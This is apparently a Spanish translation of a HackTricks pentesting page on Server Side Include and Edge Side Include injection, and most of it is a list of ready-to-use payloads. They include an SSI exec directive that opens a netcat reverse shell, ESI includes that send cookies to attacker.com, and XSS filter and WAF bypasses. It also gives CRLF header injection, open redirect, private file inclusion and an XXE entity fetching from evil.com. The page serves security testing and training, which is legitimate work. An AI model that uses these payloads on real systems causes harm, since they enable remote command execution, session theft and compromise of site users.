12 KiB
Inyección de Server Side Inclusion/Edge Side Inclusion
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sigue a Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github de HackTricks y HackTricks Cloud.
Información Básica de Server Side Inclusion
SSI (Server Side Includes) son directivas que se colocan en páginas HTML y se evalúan en el servidor mientras se sirven las páginas. Permiten añadir contenido generado dinámicamente a una página HTML existente, sin necesidad de servir toda la página a través de un programa CGI u otra tecnología dinámica.
Por ejemplo, podrías colocar una directiva en una página HTML existente, como:
<!--#echo var="DATE_LOCAL" -->
Y, cuando se sirva la página, este fragmento será evaluado y reemplazado con su valor:
Martes, 15-Ene-2013 19:28:54 EST
La decisión de cuándo usar SSI, y cuándo hacer que tu página sea generada completamente por algún programa, suele ser una cuestión de cuánto de la página es estática y cuánto necesita ser recalculado cada vez que se sirve la página. SSI es una excelente manera de añadir pequeñas piezas de información, como la hora actual - mostrada arriba. Pero si la mayoría de tu página se genera en el momento en que se sirve, necesitas buscar alguna otra solución. (Definición tomada de aquí).
Puedes inferir la presencia de SSI si la aplicación web utiliza archivos con las extensiones ** .shtml
, .shtm
o .stm
**, pero no es el único caso.
Una expresión SSI típica tiene el siguiente formato:
<!--#directive param="value" -->
Verificación
// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->
// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->
// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->
Inclusión en el Lado del Servidor (Edge Side Inclusion)
Existe un problema al almacenar en caché información o aplicaciones dinámicas ya que parte del contenido puede haber variado para la próxima vez que se recupere el contenido. Para esto se utiliza ESI, para indicar mediante etiquetas ESI el contenido dinámico que necesita generarse antes de enviar la versión en caché.
Si un atacante logra inyectar una etiqueta ESI dentro del contenido en caché, entonces, podría ser capaz de inyectar contenido arbitrario en el documento antes de que se envíe a los usuarios.
Detección de ESI
El siguiente encabezado en una respuesta del servidor indica que el servidor está utilizando ESI:
Surrogate-Control: content="ESI/1.0"
Si no puedes encontrar este encabezado, el servidor podría estar utilizando ESI de todos modos.
Un enfoque de explotación a ciegas también puede ser utilizado ya que se espera que una solicitud llegue al servidor del atacante:
// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable
// Blind detection
<esi:include src=http://attacker.com>
// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>
// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">
// Valid for Akamai, sends debug information in the response
<esi:debug/>
Explotación de ESI
GoSecure ha creado una tabla para ayudarnos a comprender posibles ataques que podemos intentar contra diferentes software compatibles con ESI, dependiendo de la funcionalidad soportada. Primero, proporcionemos algunas explicaciones sobre los nombres de las columnas de la siguiente tabla:
- Includes: Soporta la directiva
<esi:includes>
- Vars: Soporta la directiva
<esi:vars>
. Útil para evadir filtros de XSS - Cookie: Las cookies del documento son accesibles para el motor de ESI
- Upstream Headers Required: Las aplicaciones sustitutas no procesarán declaraciones de ESI a menos que la aplicación de origen proporcione las cabeceras
- Host Allowlist: En este caso, los includes de ESI solo son posibles desde servidores anfitriones permitidos, haciendo que SSRF, por ejemplo, solo sea posible contra esos anfitriones
Software | Includes | Vars | Cookies | Upstream Headers Required | Host Whitelist |
---|---|---|---|---|---|
Squid3 | Sí | Sí | Sí | Sí | No |
Varnish Cache | Sí | No | No | Sí | Sí |
Fastly | Sí | No | No | No | Sí |
Akamai ESI Test Server (ETS) | Sí | Sí | Sí | No | No |
NodeJS esi | Sí | Sí | Sí | No | No |
NodeJS nodesi | Sí | No | No | No | Opcional |
XSS
La siguiente directiva de ESI cargará un archivo arbitrario dentro de la respuesta del servidor
<esi:include src=http://attacker.com/xss.html>
El archivo http://attacker.com/xss.html puede contener un payload XSS como <script>alert(1)</script>
Evadir la protección XSS del cliente
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
Robar Cookie
- Robo remoto de cookie
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
- Robar cookie HTTP_ONLY con XSS reflejándola en la respuesta:
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
- Toma completa de cuenta reflejando cookies
Archivo Local Privado
No confundir esto con una "Inclusión de Archivo Local":
<esi:include src="secret.txt">
CRLF
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
Redirección Abierta
Lo siguiente agregará un encabezado Location
a la respuesta
<!--esi $add_header('Location','http://attacker.com') -->
Añadir Encabezado
- Añadir encabezado en solicitud forzada
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
- Agregar encabezado en la respuesta (útil para evadir "Content-Type: text/json" en una respuesta con XSS)
<!--esi/$add_header('Content-Type','text/html')/-->
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
CRLF en encabezado Add (CVE-2019-2438)
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
Akamai debug
Esto enviará información de depuración incluida en la respuesta:
<esi:debug/>
ESI + XSLT = XXE
También es posible agregar includes de ESI basados en ** _eXtensible Stylesheet Language Transformations (XSLT)_ ** especificando el valor xslt
al parámetro dca. El siguiente include provocará que el sustituto HTTP solicite el archivo XML y XSLT. Luego, el archivo XSLT se utiliza para filtrar el archivo XML. Este archivo XML puede ser utilizado para realizar ataques XML External Entity (XXE). Esto permite a los atacantes realizar ataques SSRF, lo cual no es muy útil ya que esto debe realizarse a través de includes de ESI, que es un vector SSRF en sí mismo. Los DTD externos no se analizan ya que la biblioteca subyacente (Xalan) no tiene soporte para ello. Esto significa que no podemos extraer archivos locales.
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
El archivo XSLT:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
Revisa la página XSLT:
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}
Referencias
- https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/
- https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/
- https://academy.hackthebox.com/module/145/section/1304
- https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91
Lista de Detección de Fuerza Bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF revisa los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.